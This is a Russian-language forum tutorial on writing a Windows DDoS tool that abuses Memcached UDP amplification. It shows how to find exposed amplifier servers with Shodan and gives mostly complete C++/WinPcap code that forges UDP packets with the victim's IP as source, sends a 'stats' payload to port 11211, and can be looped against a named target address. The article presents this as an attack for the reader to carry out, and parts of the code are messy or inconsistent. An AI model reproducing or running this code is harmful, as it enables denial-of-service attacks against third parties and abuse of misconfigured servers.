Идут года, однако DDoS как была так и остается значительным инструментом в интересах хакерских кампаний. Каждый ень на планете совершается от 500 до 1000 атак такого типа. Всякий раз киберпреступники замечают в общераспространенных сервисах новые уязвимости, позволяющие проводить расширенные атаки. Разработчики Windows энергично ведут борьбу с этим, усложняя жизнь хакерам и отсекая вредоносные запросы на системном уровне. В этой статье мы побеседуем о том, как преодолевать эти барьеры и напишем DDoS утилиту для Windows.

https://forumupload.ru/uploads/001b/05/af/35/t203046.png

Поиск уязвимых серверов
Поисковая система Shodan обычно используется для поиска уязвимых серверов. Например, давайте попробуем найти серверы Memcached, которые использовались для атаки на Github несколько лет назад. Набираем product: «Memcached» и видим, что серверов еще много.

Разработчик устранил уязвимость, и теперь порт по умолчанию изменен с 11211 на TCP. Несмотря на это, в Интернете остались тысячи уязвимых серверов.

В Shodan есть фильтры, которые помогут вам найти нужные услуги и серверы. Для практики можно попробовать найти RDP-сервисы с портом UDP / 3389, которые также уязвимы для атак амплификации (с соотношением 85,9: 1).

РАЗРАБОТКА
Мы можем создать программу для эксплуатации уязвимости серверов Memcached, усиления DDoS. Прежде всего, вам необходимо настроить вашу рабочую среду.

·            Установим необходимый драйвер (есть версия для Windows 10, поддерживает больше интерфейсов).

·            Скачиваем библиотеку Winpcap Developers Pack.

·            Подключаем библиотеку в проект.
https://forumupload.ru/uploads/001b/05/af/35/t185012.png
https://forumupload.ru/uploads/001b/05/af/35/t784582.png
https://forumupload.ru/uploads/001b/05/af/35/t26626.png

В самом проекте я использовал следующие модули:

#define _ALLOW_KEYWORD_MACROS // Отключить предупреждение

#include <winsock2.h> // Здесь нужные нам функции, такие как htons() htonl()

#pragma comment (lib,"WS2_32.lib")

#include <Iphlpapi.h>// Поможет нам найти информацию про сетевые адаптеры и их характеристики

#pragma comment (lib,"Iphlpapi.lib")

#include <pcap/pcap.h> // Собственно, WinPcap

#pragma comment (lib,"wpcap.lib")

#include <iostream> // Здесь нам нужна функция sprintf()

#include <stdio.h>

#include <thread>

#define HOST sin_addr.S_un.S_addr // Переменные для пакета

using namespace std;

Перейдем к главной задаче программы — формированию пакетов. Пойдем по пунктам.

Функция выбора интерфейса, из которого будут поступать пакеты
string devices[15];

void ShowDeviceList(void)

{

char Error[PCAP_ERRBUF_SIZE];

pcap_if_t* Devices; pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &Devices, Error);

int i = 1;

for (pcap_if_t* CurrentDevice = Devices; CurrentDevice != NULL; CurrentDevice = CurrentDevice->next)

{

devices[i] = CurrentDevice->description;

//string a = CurrentDevice->description;

//cout << i << ". " << a << endl;

i++;

}

}

Затем вы можете удобно отобразить их, выбрать и использовать для отправки.

Например, в моей программе это выглядит как на скриншоте ниже.

https://forumupload.ru/uploads/001b/05/af/35/t191042.png

ункции формирования UDP-пакета
unsigned char* FinalPacket;

unsigned int UserDataLen;

unsigned short BytesTo16(unsigned char X, unsigned char Y)

{

unsigned short Tmp = X;

Tmp = Tmp << 8;

Tmp = Tmp | Y;

return Tmp;

}

unsigned int BytesTo32(unsigned char W, unsigned char X, unsigned char Y, unsigned char Z)

{

unsigned int Tmp = W;

Tmp = Tmp << 8;

Tmp = Tmp | X;

Tmp = Tmp << 8;

Tmp = Tmp | Y;

Tmp = Tmp << 8;

Tmp = Tmp | Z;

return Tmp;

}

unsigned char* MACStringToBytes(LPSTR String)

{

char* Tmp = new char[strlen(String)];

memcpy((void*)Tmp, (void*)String, strlen(String));

unsigned char* Returned = new unsigned char[6];

for (int i = 0; i < 6; i++)

{

sscanf(Tmp, "%2X", &Returned[i]);

memmove((void*)(Tmp), (void*)(Tmp + 3), 19 - i * 3);

}

return Returned;

}

unsigned short CalculateIPChecksum(UINT TotalLen, UINT ID, UINT SourceIP, UINT DestIP)

{

unsigned short CheckSum = 0;

for (int i = 14; i < 34; i += 2)

{

tools tool2;

unsigned short Tmp = tool2.BytesTo16(FinalPacket[i], FinalPacket[i + 1]);

unsigned short Difference = 65535 - CheckSum;

CheckSum += Tmp;

if (Tmp > Difference) { CheckSum += 1; }

}

CheckSum = ~CheckSum;

return CheckSum;

}

unsigned short CalculateUDPChecksum(unsigned char* UserData, int UserDataLen, UINT SourceIP, UINT DestIP, USHORT SourcePort, USHORT DestinationPort, UCHAR Protocol)

{

unsigned short CheckSum = 0;

unsigned short PseudoLength = UserDataLen + 8 + 9; //Length of PseudoHeader = Data Length + 8 bytes UDP header (2Bytes Length,2 Bytes Dst Port, 2 Bytes Src Port, 2 Bytes Checksum)

//+ Two 4 byte IP's + 1 byte protocol

PseudoLength += PseudoLength % 2; // If bytes are not an even number, add an extra.

unsigned short Length = UserDataLen + 8; // This is just UDP + Data length needed for actual data in udp header

unsigned char* PseudoHeader = new unsigned char[PseudoLength];

for (int i = 0; i < PseudoLength; i++) { PseudoHeader[i] = 0x00; }

PseudoHeader[0] = 0x11;

memcpy((void*)(PseudoHeader + 1), (void*)(FinalPacket + 26), 8); // Source and Dest IP

Length = htons(Length);

memcpy((void*)(PseudoHeader + 9), (void*)&Length, 2);

memcpy((void*)(PseudoHeader + 11), (void*)&Length, 2);

memcpy((void*)(PseudoHeader + 13), (void*)(FinalPacket + 34), 2);

memcpy((void*)(PseudoHeader + 15), (void*)(FinalPacket + 36), 2);

memcpy((void*)(PseudoHeader + 17), (void*)UserData, UserDataLen);

for (int i = 0; i < PseudoLength; i += 2)

{

tools tool2;

unsigned short Tmp = tool2.BytesTo16(PseudoHeader[i], PseudoHeader[i + 1]);

unsigned short Difference = 65535 - CheckSum;

CheckSum += Tmp;

if (Tmp > Difference) { CheckSum += 1; }

}

CheckSum = ~CheckSum; //One's complement

return CheckSum;

}

void SendPacket(pcap_if_t* Device)

{

char Error[256];

pcap_t* t;

t = pcap_open(Device->name, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, Error);//FP for send

pcap_sendpacket(t, FinalPacket, UserDataLen + 42);

pcap_close(t);

  }

void CreatePacket

(unsigned char* SourceMAC,

unsigned char* DestinationMAC,

unsigned int SourceIP,

unsigned int DestIP,

unsigned short SourcePort,

unsigned short DestinationPort,

unsigned char* UserData,

unsigned int UserDataLen)

{

UserDataLen = UserDataLen;

FinalPacket = new unsigned char[UserDataLen + 42]; // Reserve enough memory for the length of the data plus 42 bytes of headers

USHORT TotalLen = UserDataLen + 20 + 8; // IP Header uses length of data plus length of ip header (usually 20 bytes) plus lenght of udp header (usually 8)

//Beginning of Ethernet II Header

memcpy((void*)FinalPacket, (void*)DestinationMAC, 6);

memcpy((void*)(FinalPacket + 6), (void*)SourceMAC, 6);

USHORT TmpType = 8;

memcpy((void*)(FinalPacket + 12), (void*)&TmpType, 2); //The type of protocol used. (USHORT) Type 0x08 is UDP. You can change this for other protocols (e.g. TCP)

// Beginning of IP Header

memcpy((void*)(FinalPacket + 14), (void*)"\x45", 1); //The Version (4) in the first 3 bits and the header length on the last 5. (Im not sure, if someone could correct me plz do)

//If you wanna do any IPv6 stuff, you will need to change this. but i still don't know how to do ipv6 myself =s

memcpy((void*)(FinalPacket + 15), (void*)"\x00", 1); //Differntiated services field. Usually 0

TmpType = htons(TotalLen);

memcpy((void*)(FinalPacket + 16), (void*)&TmpType, 2);

TmpType = htons(0x1337);

memcpy((void*)(FinalPacket + 18), (void*)&TmpType, 2);// Identification. Usually not needed to be anything specific, esp in udp. 2 bytes (Here it is 0x1337

memcpy((void*)(FinalPacket + 20), (void*)"\x00", 1); // Flags. These are not usually used in UDP either, more used in TCP for fragmentation and syn acks i think

memcpy((void*)(FinalPacket + 21), (void*)"\x00", 1); // Offset

memcpy((void*)(FinalPacket + 22), (void*)"\x80", 1); // Time to live. Determines the amount of time the packet can spend trying to get to the other computer. (I see 128 used often for this)

memcpy((void*)(FinalPacket + 23), (void*)"\x11", 1);// Protocol. UDP is 0x11 (17) TCP is 6 ICMP is 1 etc

memcpy((void*)(FinalPacket + 24), (void*)"\x00\x00", 2); //checksum

memcpy((void*)(FinalPacket + 26), (void*)&SourceIP, 4); //inet_addr does htonl() for us

memcpy((void*)(FinalPacket + 30), (void*)&DestIP, 4);

//Beginning of UDP Header

TmpType = htons(SourcePort);

memcpy((void*)(FinalPacket + 34), (void*)&TmpType, 2);

TmpType = htons(DestinationPort);

memcpy((void*)(FinalPacket + 36), (void*)&TmpType, 2);

USHORT UDPTotalLen = htons(UserDataLen + 8); // UDP Length does not include length of IP header

memcpy((void*)(FinalPacket + 38), (void*)&UDPTotalLen, 2);

memcpy((void*)(FinalPacket+40),(void*)&TmpType,2); //checksum

memcpy((void*)(FinalPacket + 42), (void*)UserData, UserDataLen);

unsigned short UDPChecksum = CalculateUDPChecksum(UserData, UserDataLen, SourceIP, DestIP, htons(SourcePort), htons(DestinationPort), 0x11);

memcpy((void*)(FinalPacket + 40), (void*)&UDPChecksum, 2);

unsigned short IPChecksum = htons(CalculateIPChecksum(TotalLen, 0x1337, SourceIP, DestIP));

memcpy((void*)(FinalPacket + 24), (void*)&IPChecksum, 2);

return;

}

Формирование пакета0

pcap_if_t* ChosenDevice;

char SourceIP[16] = "111.221.111.111";

for (int i = 0; i < 16; i++) {

SourceIP[i] = target_ip[i];

}

char SourcePort[6] = "11211";

char SourceMAC[19] = "00:26:57:00:1f:02";

char DestinationIP[16] = "192.168.0.105";

for (int i = 0; i < 16; i++) {

DestinationIP[i] = bot_ip[i];

}

char DestinationPort[6] = "11211";

char DataString[2048] = "stats";

int chosen = chosen_device;

DeviceInfo di;

di = tool1.GetAdapterInfo(ChosenDevice);

RawPacket RP;0

RP.CreatePacket(tool1.MACStringToBytes(SourceMAC), di.GatewayPhysicalAddress,

inet_addr(SourceIP), inet_addr(DestinationIP),

atoi(SourcePort), atoi(DestinationPort),

(UCHAR*)DataString, strlen(DataString));

Отправка пакета
void SendPacket(pcap_if_t* Device)

{

char Error[256];

pcap_t* t;

t = pcap_open(Device->name, 65535, PCAP_OPENFLAG_DATATX_UDP, 1, NULL, Error);//FP for send

pcap_sendpacket(t, FinalPacket, UserDataLen + 42);

pcap_close(t);

}

RP.SendPacket(ChosenDevice);

Последние строки можно зациклить и запустить DDoS-атаку. Целью тестирования будет сервер с адресом 18.181.248.145. В Wireshark это будет выглядеть примерно так.

https://forumupload.ru/uploads/001b/05/af/35/t44800.png

Пакеты отправляются на уязвимые серверы, что опознают нашу цель в качестве отправителя.

ЗАКЛЮЧЕНИЕ
Приведенный выше код является самодостаточным. Если вам нужно написать эксплойт для такой уязвимости, то, скорее всего, вам нужно будет только манипулировать полями DataString (полезная нагрузка), Dest / Source Port, Dest / Source IP. Да, все это было бы намного проще сделать в Linux, и большинство этих программ написано только для Linux. Но это не значит, что мы не можем испытывать и углублять знания.